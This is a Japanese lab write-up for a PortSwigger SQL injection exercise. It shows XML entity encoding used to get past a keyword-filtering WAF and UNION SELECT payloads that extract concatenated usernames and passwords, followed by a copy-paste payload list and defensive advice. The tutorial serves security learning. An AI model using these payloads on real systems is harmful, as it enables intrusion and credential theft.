Shikata Ga Nai

Private? There is no such things.

【有料試作版】PortSwigger LAB解説:SQL injection with filter bypass via XML encoding(XMLエンコードでWAFを回避してUNION抽出)

Hello there, ('ω')ノ

ねらい

このLABは、在庫チェック機能のXMLリクエストにSQLインジェクションがあり、さらに単純なブラックリスト型WAFが入っている状況で、XMLエンコード(エンティティ化)を使って検知を回避し、UNION攻撃でusersテーブルの認証情報を抜くのがゴールです。最終的にadministratorでログインします。


全体像(まずはストーリー)

  1. 在庫チェックのPOSTがXMLボディであることを観察。
  2. Burp RepeaterでstoreIdの評価を確かめる(例:1+1 → 2と解釈されるか)。
  3. UNIONを付けて列数推測を試すが、WAFにブロックされる。
  4. Hackvertor等でXMLエンティティ化(dec_entities/hex_entities)してWAFを回避。
  5. レスポンスの形式から1列しか返せないと判断し、usernameとpasswordを連結して抽出。
  6. 取得したadministratorの資格情報でログインしてクリア。

実践:一手ずつ「なぜそうするか」を添えて

1) 攻撃面の特定:在庫チェックがXML

  • 操作:商品ページの「Check stock」を押下して、Burpでリクエストを確認。以下のようなボディで送られているはずです。
  POST /product/stock HTTP/1.1
  Content-Type: application/xml
  ...
  <stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
  </stockCheck>
  • なぜ:入力点はstoreIdproductId。多くのLABではstoreIdがSQLに直結しているので、まずはここを重点的に試します。

2) まず「評価されるか」を確かめる(サニタイズの粗さを測る)

  • 操作:Burp Repeaterに送って、storeIdを以下に変更して送信。
  <storeId>1+1</storeId>
  • 観察:レスポンスに表示される「Stock level」が、別の店舗の値になったり、2と評価された痕跡が出るはず。

  • なぜ:サーバ側がstoreIdを文字列のままではなくSQL式として評価している可能性を確認します。これがYESなら演算子、UNION、コメントなどが活きます。

3) UNIONで列数を探る(が、WAFに刺さる)

  • 操作:次に単純なUNIONを付けて列数テスト。
  <storeId>1 UNION SELECT NULL</storeId>
  • 観察:アプリが攻撃検知でブロックします(403やエラーメッセージ、または「Blocked」など)。

  • なぜ:WAF/フィルタが“UNION”などのキーワードを文字列マッチで遮断しています。ここで回避テクニックの出番です。

4) XMLエンティティ化でWAFを回避

  • 操作:BurpにHackvertor拡張を入れている前提で、storeIdの値部分を選択 → 右クリック → Extensions > Hackvertor > Encode > dec_entities または hex_entities を適用。たとえば:

    入力(人間可読):

  1 UNION SELECT NULL

Hackvertorタグ付き(例):

  <storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>

あるいは(dec_entities):

  <storeId><@dec_entities>1 UNION SELECT NULL</@dec_entities></storeId>
  • 観察:サーバ側ではXMLパーサがエンティティをデコードし、DBに到達するときには元のUNION SELECTになっています。一方、WAFは未デコードの文字列を見ているためすり抜ける、という二重解釈ギャップを突いています。

  • なぜ:これは“入力デコーディングのタイミング差”を利用する典型テクニックです。XML/URL/HTMLなど、デコーダが複数いるときは必ず試す価値があります。

5) 列数の特定:1列しか返せないと判断

  • 操作:エンティティ化を維持したまま、列数を増減してテスト。
  <storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>

で正常応答なら「1列」。もし

  <storeId><@hex_entities>1 UNION SELECT NULL, NULL</@hex_entities></storeId>

にすると在庫が「0」になったり、体裁は正常でも結果が無効になるなど、エラーの気配が出るはず。

  • 観察:このLABでは1列しか返せない、という挙動が確認できます。

  • なぜ:フロントの在庫表示は単一値を想定しており、列ミスマッチ時はアプリ側がフェイルクローズ(0在庫扱い)する実装になっているためです。

6) 本攻撃:usersテーブルから username と password を連結して1列で返す

  • 方針:1列制約があるので、文字列連結で「username」「password」をまとめて返す。DBは多くのLABでPostgreSQL想定のため“||”で連結します(MySQLならCONCAT、SQLite/Oracleも“||”)。

  • 操作:区切りをわかりやすくするために\~を挟みます。Hackvertorのタグでエンコードして送信。

  <stockCheck>
    <productId>1</productId>
    <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>
  </stockCheck>
  • 観察:レスポンス本文のどこか(在庫の数値が出る箇所、または返却値の一部)に、以下のような連結済みの行が複数件分、順々に現れます。
  administrator~<ハッシュまたはパスワード>
  wiener~peter
  ...
  • なぜ:UNIONで本来のクエリ結果にusersテーブルの1列化データを縦に結合し、アプリがその値をそのまま表示するためです。

7) administratorでログインしてクリア

  • 操作:抽出したadministratorの資格情報をログイン画面で使用。
  • 成功条件:ダッシュボードに入り、LABがSolvedに変わります。

つまずきポイント&対処

  • UNIONが通らない Hackvertorのタグが正しく挿入されているか確認。タグを二重に入れないこと。dec_entitiesとhex_entitiesはどちらか一方でOK。タグの外側に余計な空白や改行があるとWAFが拾う場合もあるので縮めて再送。

  • 連結演算子エラー “||”が受け入れられない場合はDB差異を疑う。MySQLなら

  <storeId><@hex_entities>1 UNION SELECT CONCAT(username,0x7e,password) FROM users</@hex_entities></storeId>

のように書き換える(0x7eは‘\~’)。

  • 列数が合わない まずはNULLで列数を確定してから、実データに差し替える。 例:
  <storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>

が通るなら1列確定。

  • “Blocked”のまま “UN/**/ION”のようなコメント分割や、大文字小文字ミックス、URLエンコード二重化なども有効だが、このLABではXMLエンティティ化が本命。まずはそこを堅実に詰める。

実務目線の学び(防御の勘どころ)

  • デコード順序の統一と可視化 取り込みレイヤーで一度だけ正規化(デコード)し、その後のレイヤーでは追加デコードをしない。WAFもアプリも同じ正規化ロジックを見るべき。

  • パラメータ化クエリ 連結ではなくプリペアドステートメントを徹底する。文字列・演算子の評価をアプリ層で許さない。

  • WAF過信の禁止 キーワード検知は多重エンコード文法変形で回避されがち。WAFは補助輪、根治は入力検証+SQL層の安全化


コピペ用ペイロード集

評価確認

<stockCheck>
  <productId>1</productId>
  <storeId>1+1</storeId>
</stockCheck>

列数テスト(WAF回避版)

<stockCheck>
  <productId>1</productId>
  <storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>
</stockCheck>

資格情報抽出(PostgreSQL/SQLite/Oracle系)

<stockCheck>
  <productId>1</productId>
  <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>
</stockCheck>

資格情報抽出(MySQL系の代替)

<stockCheck>
  <productId>1</productId>
  <storeId><@hex_entities>1 UNION SELECT CONCAT(username,0x7e,password) FROM users</@hex_entities></storeId>
</stockCheck>

まとめ

このLABの肝は、「XMLで渡る」という文脈に着目し、WAFが見る文字列とアプリが評価する文字列のギャップ(デコード順序の差)を突くこと。 手順としては、まずstoreIdが式として評価されることを確認 → 通常のUNIONはWAFで遮断 → XMLエンティティ化で回避 → 1列制約を見極めてusernameとpasswordを連結 → 抜いたadministratorの資格情報でログイン。 この一連の思考(入力点の特定→評価の有無→WAF回避→列整合→データ抽出)は、実務でもそのまま再現性の高いアプローチになります。

Best regards, (^^ゞ